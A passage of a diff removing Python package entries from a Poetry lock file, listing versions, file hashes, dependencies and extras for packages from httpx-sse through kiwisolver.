-version = "0.4.1" -description = "Consume Server-Sent Event (SSE) messages with HTTPX." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "httpx_sse-0.4.1-py3-none-any.whl", hash = "sha256:cba42174344c3a5b06f255ce65b350880f962d99ead85e776f23c6618a377a37"}, - {file = "httpx_sse-0.4.1.tar.gz", hash = "sha256:8f44d34414bc7b21bf3602713005c5df4917884f76072479b21f68befa4ea26e"}, -] - -[[package]] -name = "huggingface-hub" -version = "0.34.4" -description = "Client library to download and publish models, datasets and other repos on the huggingface.co hub" -optional = false -python-versions = ">=3.8.0" -groups = ["main"] -files = [ - {file = "huggingface_hub-0.34.4-py3-none-any.whl", hash = "sha256:9b365d781739c93ff90c359844221beef048403f1bc1f1c123c191257c3c890a"}, - {file = "huggingface_hub-0.34.4.tar.gz", hash = "sha256:a4228daa6fb001be3f4f4bdaf9a0db00e1739235702848df00885c9b5742c85c"}, -] - -[package.dependencies] -filelock = "*" -fsspec = ">=2023.5.0" -hf-xet = {version = ">=1.1.3,<2.0.0", markers = "platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\""} -packaging = ">=20.9" -pyyaml = ">=5.1" -requests = "*" -tqdm = ">=4.42.1" -typing-extensions = ">=3.7.4.3" - -[package.extras] -all = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "ruff (>=0.9.0)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)", "urllib3 (<2.0)"] -cli = ["InquirerPy (==0.3.4)"] -dev = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "ruff (>=0.9.0)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)", "urllib3 (<2.0)"] -fastai = ["fastai (>=2.4)", "fastcore (>=1.3.27)", "toml"] -hf-transfer = ["hf-transfer (>=0.1.4)"] -hf-xet = ["hf-xet (>=1.1.2,<2.0.0)"] -inference = ["aiohttp"] -mcp = ["aiohttp", "mcp (>=1.8.0)", "typer"] -oauth = ["authlib (>=1.3.2)", "fastapi", "httpx", "itsdangerous"] -quality = ["libcst (>=1.4.0)", "mypy (==1.15.0)", "mypy (>=1.14.1,<1.15.0)", "ruff (>=0.9.0)"] -tensorflow = ["graphviz", "pydot", "tensorflow"] -tensorflow-testing = ["keras (<3.0)", "tensorflow"] -testing = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "authlib (>=1.3.2)", "fastapi", "gradio (>=4.0.0)", "httpx", "itsdangerous", "jedi", "numpy", "pytest (>=8.1.1,<8.2.2)", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-mock", "pytest-rerunfailures", "pytest-vcr", "pytest-xdist", "soundfile", "urllib3 (<2.0)"] -torch = ["safetensors[torch]", "torch"] -typing = ["types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "typing-extensions (>=4.8.0)"] - -[[package]] -name = "identify" -version = "2.6.13" -description = "File identification library for Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "identify-2.6.13-py2.py3-none-any.whl", hash = "sha256:60381139b3ae39447482ecc406944190f690d4a2997f2584062089848361b33b"}, - {file = "identify-2.6.13.tar.gz", hash = "sha256:da8d6c828e773620e13bfa86ea601c5a5310ba4bcd65edf378198b56a1f9fb32"}, -] - -[package.extras] -license = ["ukkonen"] - -[[package]] -name = "idna" -version = "3.10" -description = "Internationalized Domain Names in Applications (IDNA)" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, - {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, -] - -[package.extras] -all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] - -[[package]] -name = "imagesize" -version = "1.4.1" -description = "Getting image size from png/jpeg/jpeg2000/gif file" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" -groups = ["main"] -files = [ - {file = "imagesize-1.4.1-py2.py3-none-any.whl", hash = "sha256:0d8d18d08f840c19d0ee7ca1fd82490fdc3729b7ac93f49870406ddde8ef8d8b"}, - {file = "imagesize-1.4.1.tar.gz", hash = "sha256:69150444affb9cb0d5cc5a92b3676f0b2fb7cd9ae39e947a5e11a36b4497cd4a"}, -] - -[[package]] -name = "importlib-metadata" -version = "8.7.0" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "importlib_metadata-8.7.0-py3-none-any.whl", hash = "sha256:e5dd1551894c77868a30651cef00984d50e1002d06942a7101d34870c5f02afd"}, - {file = "importlib_metadata-8.7.0.tar.gz", hash = "sha256:d13b81ad223b890aa16c5471f2ac3056cf76c5f10f82d6f9292f0b415f389000"}, -] - -[package.dependencies] -zipp = ">=3.20" - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)"] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -perf = ["ipython"] -test = ["flufl.flake8", "importlib_resources (>=1.3)", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] -type = ["pytest-mypy"] - -[[package]] -name = "iniconfig" -version = "2.1.0" -description = "brain-dead simple config-ini parsing" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, - {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, -] - -[[package]] -name = "ipython" -version = "9.4.0" -description = "IPython: Productive Interactive Computing" -optional = false -python-versions = ">=3.11" -groups = ["main"] -files = [ - {file = "ipython-9.4.0-py3-none-any.whl", hash = "sha256:25850f025a446d9b359e8d296ba175a36aedd32e83ca9b5060430fe16801f066"}, - {file = "ipython-9.4.0.tar.gz", hash = "sha256:c033c6d4e7914c3d9768aabe76bbe87ba1dc66a92a05db6bfa1125d81f2ee270"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "sys_platform == \"win32\""} -decorator = "*" -ipython-pygments-lexers = "*" -jedi = ">=0.16" -matplotlib-inline = "*" -pexpect = {version = ">4.3", markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\""} -prompt_toolkit = ">=3.0.41,<3.1.0" -pygments = ">=2.4.0" -stack_data = "*" -traitlets = ">=5.13.0" - -[package.extras] -all = ["ipython[doc,matplotlib,test,test-extra]"] -black = ["black"] -doc = ["docrepr", "exceptiongroup", "intersphinx_registry", "ipykernel", "ipython[test]", "matplotlib", "setuptools (>=18.5)", "sphinx (>=1.3)", "sphinx-rtd-theme", "sphinx_toml (==0.0.4)", "typing_extensions"] -matplotlib = ["matplotlib"] -test = ["packaging", "pytest", "pytest-asyncio (<0.22)", "testpath"] -test-extra = ["curio", "ipykernel", "ipython[test]", "jupyter_ai", "matplotlib (!=3.2.0)", "nbclient", "nbformat", "numpy (>=1.23)", "pandas", "trio"] - -[[package]] -name = "ipython-pygments-lexers" -version = "1.1.1" -description = "Defines a variety of Pygments lexers for highlighting IPython code." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "ipython_pygments_lexers-1.1.1-py3-none-any.whl", hash = "sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c"}, - {file = "ipython_pygments_lexers-1.1.1.tar.gz", hash = "sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81"}, -] - -[package.dependencies] -pygments = "*" - -[[package]] -name = "isodate" -version = "0.7.2" -description = "An ISO 8601 date/time/duration parser and formatter" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "isodate-0.7.2-py3-none-any.whl", hash = "sha256:28009937d8031054830160fce6d409ed342816b543597cece116d966c6d99e15"}, - {file = "isodate-0.7.2.tar.gz", hash = "sha256:4cd1aa0f43ca76f4a6c6c0292a85f40b35ec2e43e315b59f06e6d32171a953e6"}, -] - -[[package]] -name = "isort" -version = "6.0.1" -description = "A Python utility / library to sort Python imports." -optional = false -python-versions = ">=3.9.0" -groups = ["dev"] -files = [ - {file = "isort-6.0.1-py3-none-any.whl", hash = "sha256:2dc5d7f65c9678d94c88dfc29161a320eec67328bc97aad576874cb4be1e9615"}, - {file = "isort-6.0.1.tar.gz", hash = "sha256:1cb5df28dfbc742e490c5e41bad6da41b805b0a8be7bc93cd0fb2a8a890ac450"}, -] - -[package.extras] -colors = ["colorama"] -plugins = ["setuptools"] - -[[package]] -name = "jedi" -version = "0.19.2" -description = "An autocompletion tool for Python that can be used for text editors." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "jedi-0.19.2-py2.py3-none-any.whl", hash = "sha256:a8ef22bde8490f57fe5c7681a3c83cb58874daf72b4784de3cce5b6ef6edb5b9"}, - {file = "jedi-0.19.2.tar.gz", hash = "sha256:4770dc3de41bde3966b02eb84fbcf557fb33cce26ad23da12c742fb50ecb11f0"}, -] - -[package.dependencies] -parso = ">=0.8.4,<0.9.0" - -[package.extras] -docs = ["Jinja2 (==2.11.3)", "MarkupSafe (==1.1.1)", "Pygments (==2.8.1)", "alabaster (==0.7.12)", "babel (==2.9.1)", "chardet (==4.0.0)", "commonmark (==0.8.1)", "docutils (==0.17.1)", "future (==0.18.2)", "idna (==2.10)", "imagesize (==1.2.0)", "mock (==1.0.1)", "packaging (==20.9)", "pyparsing (==2.4.7)", "pytz (==2021.1)", "readthedocs-sphinx-ext (==2.1.4)", "recommonmark (==0.5.0)", "requests (==2.25.1)", "six (==1.15.0)", "snowballstemmer (==2.1.0)", "sphinx (==1.8.5)", "sphinx-rtd-theme (==0.4.3)", "sphinxcontrib-serializinghtml (==1.1.4)", "sphinxcontrib-websupport (==1.2.4)", "urllib3 (==1.26.4)"] -qa = ["flake8 (==5.0.4)", "mypy (==0.971)", "types-setuptools (==67.2.0.1)"] -testing = ["Django", "attrs", "colorama", "docopt", "pytest (<9.0.0)"] - -[[package]] -name = "jinja2" -version = "3.1.6" -description = "A very fast and expressive template engine." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, - {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, -] - -[package.dependencies] -MarkupSafe = ">=2.0" - -[package.extras] -i18n = ["Babel (>=2.7)"] - -[[package]] -name = "jiter" -version = "0.10.0" -description = "Fast iterable JSON parser." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "jiter-0.10.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:cd2fb72b02478f06a900a5782de2ef47e0396b3e1f7d5aba30daeb1fce66f303"}, - {file = "jiter-0.10.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32bb468e3af278f095d3fa5b90314728a6916d89ba3d0ffb726dd9bf7367285e"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa8b3e0068c26ddedc7abc6fac37da2d0af16b921e288a5a613f4b86f050354f"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:286299b74cc49e25cd42eea19b72aa82c515d2f2ee12d11392c56d8701f52224"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ed5649ceeaeffc28d87fb012d25a4cd356dcd53eff5acff1f0466b831dda2a7"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2ab0051160cb758a70716448908ef14ad476c3774bd03ddce075f3c1f90a3d6"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03997d2f37f6b67d2f5c475da4412be584e1cec273c1cfc03d642c46db43f8cf"}, - {file = "jiter-0.10.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c404a99352d839fed80d6afd6c1d66071f3bacaaa5c4268983fc10f769112e90"}, - {file = "jiter-0.10.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:66e989410b6666d3ddb27a74c7e50d0829704ede652fd4c858e91f8d64b403d0"}, - {file = "jiter-0.10.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b532d3af9ef4f6374609a3bcb5e05a1951d3bf6190dc6b176fdb277c9bbf15ee"}, - {file = "jiter-0.10.0-cp310-cp310-win32.whl", hash = "sha256:da9be20b333970e28b72edc4dff63d4fec3398e05770fb3205f7fb460eb48dd4"}, - {file = "jiter-0.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:f59e533afed0c5b0ac3eba20d2548c4a550336d8282ee69eb07b37ea526ee4e5"}, - {file = "jiter-0.10.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:3bebe0c558e19902c96e99217e0b8e8b17d570906e72ed8a87170bc290b1e978"}, - {file = "jiter-0.10.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:558cc7e44fd8e507a236bee6a02fa17199ba752874400a0ca6cd6e2196cdb7dc"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4d613e4b379a07d7c8453c5712ce7014e86c6ac93d990a0b8e7377e18505e98d"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f62cf8ba0618eda841b9bf61797f21c5ebd15a7a1e19daab76e4e4b498d515b2"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:919d139cdfa8ae8945112398511cb7fca58a77382617d279556b344867a37e61"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13ddbc6ae311175a3b03bd8994881bc4635c923754932918e18da841632349db"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c440ea003ad10927a30521a9062ce10b5479592e8a70da27f21eeb457b4a9c5"}, - {file = "jiter-0.10.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:dc347c87944983481e138dea467c0551080c86b9d21de6ea9306efb12ca8f606"}, - {file = "jiter-0.10.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:13252b58c1f4d8c5b63ab103c03d909e8e1e7842d302473f482915d95fefd605"}, - {file = "jiter-0.10.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7d1bbf3c465de4a24ab12fb7766a0003f6f9bce48b8b6a886158c4d569452dc5"}, - {file = "jiter-0.10.0-cp311-cp311-win32.whl", hash = "sha256:db16e4848b7e826edca4ccdd5b145939758dadf0dc06e7007ad0e9cfb5928ae7"}, - {file = "jiter-0.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c9c1d5f10e18909e993f9641f12fe1c77b3e9b533ee94ffa970acc14ded3812"}, - {file = "jiter-0.10.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:1e274728e4a5345a6dde2d343c8da018b9d4bd4350f5a472fa91f66fda44911b"}, - {file = "jiter-0.10.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7202ae396446c988cb2a5feb33a543ab2165b786ac97f53b59aafb803fef0744"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23ba7722d6748b6920ed02a8f1726fb4b33e0fd2f3f621816a8b486c66410ab2"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:371eab43c0a288537d30e1f0b193bc4eca90439fc08a022dd83e5e07500ed026"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6c675736059020365cebc845a820214765162728b51ab1e03a1b7b3abb70f74c"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0c5867d40ab716e4684858e4887489685968a47e3ba222e44cde6e4a2154f959"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395bb9a26111b60141757d874d27fdea01b17e8fac958b91c20128ba8f4acc8a"}, - {file = "jiter-0.10.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6842184aed5cdb07e0c7e20e5bdcfafe33515ee1741a6835353bb45fe5d1bd95"}, - {file = "jiter-0.10.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:62755d1bcea9876770d4df713d82606c8c1a3dca88ff39046b85a048566d56ea"}, - {file = "jiter-0.10.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:533efbce2cacec78d5ba73a41756beff8431dfa1694b6346ce7af3a12c42202b"}, - {file = "jiter-0.10.0-cp312-cp312-win32.whl", hash = "sha256:8be921f0cadd245e981b964dfbcd6fd4bc4e254cdc069490416dd7a2632ecc01"}, - {file = "jiter-0.10.0-cp312-cp312-win_amd64.whl", hash = "sha256:a7c7d785ae9dda68c2678532a5a1581347e9c15362ae9f6e68f3fdbfb64f2e49"}, - {file = "jiter-0.10.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:e0588107ec8e11b6f5ef0e0d656fb2803ac6cf94a96b2b9fc675c0e3ab5e8644"}, - {file = "jiter-0.10.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cafc4628b616dc32530c20ee53d71589816cf385dd9449633e910d596b1f5c8a"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:520ef6d981172693786a49ff5b09eda72a42e539f14788124a07530f785c3ad6"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:554dedfd05937f8fc45d17ebdf298fe7e0c77458232bcb73d9fbbf4c6455f5b3"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5bc299da7789deacf95f64052d97f75c16d4fc8c4c214a22bf8d859a4288a1c2"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5161e201172de298a8a1baad95eb85db4fb90e902353b1f6a41d64ea64644e25"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e2227db6ba93cb3e2bf67c87e594adde0609f146344e8207e8730364db27041"}, - {file = "jiter-0.10.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:15acb267ea5e2c64515574b06a8bf393fbfee6a50eb1673614aa45f4613c0cca"}, - {file = "jiter-0.10.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:901b92f2e2947dc6dfcb52fd624453862e16665ea909a08398dde19c0731b7f4"}, - {file = "jiter-0.10.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:d0cb9a125d5a3ec971a094a845eadde2db0de85b33c9f13eb94a0c63d463879e"}, - {file = "jiter-0.10.0-cp313-cp313-win32.whl", hash = "sha256:48a403277ad1ee208fb930bdf91745e4d2d6e47253eedc96e2559d1e6527006d"}, - {file = "jiter-0.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:75f9eb72ecb640619c29bf714e78c9c46c9c4eaafd644bf78577ede459f330d4"}, - {file = "jiter-0.10.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:28ed2a4c05a1f32ef0e1d24c2611330219fed727dae01789f4a335617634b1ca"}, - {file = "jiter-0.10.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14a4c418b1ec86a195f1ca69da8b23e8926c752b685af665ce30777233dfe070"}, - {file = "jiter-0.10.0-cp313-cp313t-win_amd64.whl", hash = "sha256:d7bfed2fe1fe0e4dda6ef682cee888ba444b21e7a6553e03252e4feb6cf0adca"}, - {file = "jiter-0.10.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:5e9251a5e83fab8d87799d3e1a46cb4b7f2919b895c6f4483629ed2446f66522"}, - {file = "jiter-0.10.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:023aa0204126fe5b87ccbcd75c8a0d0261b9abdbbf46d55e7ae9f8e22424eeb8"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c189c4f1779c05f75fc17c0c1267594ed918996a231593a21a5ca5438445216"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:15720084d90d1098ca0229352607cd68256c76991f6b374af96f36920eae13c4"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e4f2fb68e5f1cfee30e2b2a09549a00683e0fde4c6a2ab88c94072fc33cb7426"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ce541693355fc6da424c08b7edf39a2895f58d6ea17d92cc2b168d20907dee12"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31c50c40272e189d50006ad5c73883caabb73d4e9748a688b216e85a9a9ca3b9"}, - {file = "jiter-0.10.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fa3402a2ff9815960e0372a47b75c76979d74402448509ccd49a275fa983ef8a"}, - {file = "jiter-0.10.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:1956f934dca32d7bb647ea21d06d93ca40868b505c228556d3373cbd255ce853"}, - {file = "jiter-0.10.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:fcedb049bdfc555e261d6f65a6abe1d5ad68825b7202ccb9692636c70fcced86"}, - {file = "jiter-0.10.0-cp314-cp314-win32.whl", hash = "sha256:ac509f7eccca54b2a29daeb516fb95b6f0bd0d0d8084efaf8ed5dfc7b9f0b357"}, - {file = "jiter-0.10.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5ed975b83a2b8639356151cef5c0d597c68376fc4922b45d0eb384ac058cfa00"}, - {file = "jiter-0.10.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3aa96f2abba33dc77f79b4cf791840230375f9534e5fac927ccceb58c5e604a5"}, - {file = "jiter-0.10.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:bd6292a43c0fc09ce7c154ec0fa646a536b877d1e8f2f96c19707f65355b5a4d"}, - {file = "jiter-0.10.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:39de429dcaeb6808d75ffe9effefe96a4903c6a4b376b2f6d08d77c1aaee2f18"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52ce124f13a7a616fad3bb723f2bfb537d78239d1f7f219566dc52b6f2a9e48d"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:166f3606f11920f9a1746b2eea84fa2c0a5d50fd313c38bdea4edc072000b0af"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28dcecbb4ba402916034fc14eba7709f250c4d24b0c43fc94d187ee0580af181"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86c5aa6910f9bebcc7bc4f8bc461aff68504388b43bfe5e5c0bd21efa33b52f4"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ceeb52d242b315d7f1f74b441b6a167f78cea801ad7c11c36da77ff2d42e8a28"}, - {file = "jiter-0.10.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ff76d8887c8c8ee1e772274fcf8cc1071c2c58590d13e33bd12d02dc9a560397"}, - {file = "jiter-0.10.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a9be4d0fa2b79f7222a88aa488bd89e2ae0a0a5b189462a12def6ece2faa45f1"}, - {file = "jiter-0.10.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ab7fd8738094139b6c1ab1822d6f2000ebe41515c537235fd45dabe13ec9324"}, - {file = "jiter-0.10.0-cp39-cp39-win32.whl", hash = "sha256:5f51e048540dd27f204ff4a87f5d79294ea0aa3aa552aca34934588cf27023cf"}, - {file = "jiter-0.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b28302349dc65703a9e4ead16f163b1c339efffbe1049c30a44b001a2a4fff9"}, - {file = "jiter-0.10.0.tar.gz", hash = "sha256:07a7142c38aacc85194391108dc91b5b57093c978a9932bd86a36862759d9500"}, -] - -[[package]] -name = "jmespath" -version = "1.0.1" -description = "JSON Matching Expressions" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, - {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, -] - -[[package]] -name = "jsonschema" -version = "4.25.0" -description = "An implementation of JSON Schema validation for Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "jsonschema-4.25.0-py3-none-any.whl", hash = "sha256:24c2e8da302de79c8b9382fee3e76b355e44d2a4364bb207159ce10b517bd716"}, - {file = "jsonschema-4.25.0.tar.gz", hash = "sha256:e63acf5c11762c0e6672ffb61482bdf57f0876684d8d249c0fe2d730d48bc55f"}, -] - -[package.dependencies] -attrs = ">=22.2.0" -jsonschema-specifications = ">=2023.03.6" -referencing = ">=0.28.4" -rpds-py = ">=0.7.1" - -[package.extras] -format = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3987", "uri-template", "webcolors (>=1.11)"] -format-nongpl = ["fqdn", "idna", "isoduration", "jsonpointer (>1.13)", "rfc3339-validator", "rfc3986-validator (>0.1.0)", "rfc3987-syntax (>=1.1.0)", "uri-template", "webcolors (>=24.6.0)"] - -[[package]] -name = "jsonschema-specifications" -version = "2025.4.1" -description = "The JSON Schema meta-schemas and vocabularies, exposed as a Registry" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "jsonschema_specifications-2025.4.1-py3-none-any.whl", hash = "sha256:4653bffbd6584f7de83a67e0d620ef16900b390ddc7939d56684d6c81e33f1af"}, - {file = "jsonschema_specifications-2025.4.1.tar.gz", hash = "sha256:630159c9f4dbea161a6a2205c3011cc4f18ff381b189fff48bb39b9bf26ae608"}, -] - -[package.dependencies] -referencing = ">=0.31.0" - -[[package]] -name = "kiwisolver" -version = "1.4.9" -description = "A fast implementation of the Cassowary constraint solver" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "kiwisolver-1.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b4b4d74bda2b8ebf4da5bd42af11d02d04428b2c32846e4c2c93219df8a7987b"}, - {file = "kiwisolver-1.4.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fb3b8132019ea572f4611d770991000d7f58127560c4889729248eb5852a102f"}, - {file = "kiwisolver-1.4.9-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84fd60810829c27ae375114cd379da1fa65e6918e1da405f356a775d49a62bcf"}, - {file = "kiwisolver-1.4.9-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = 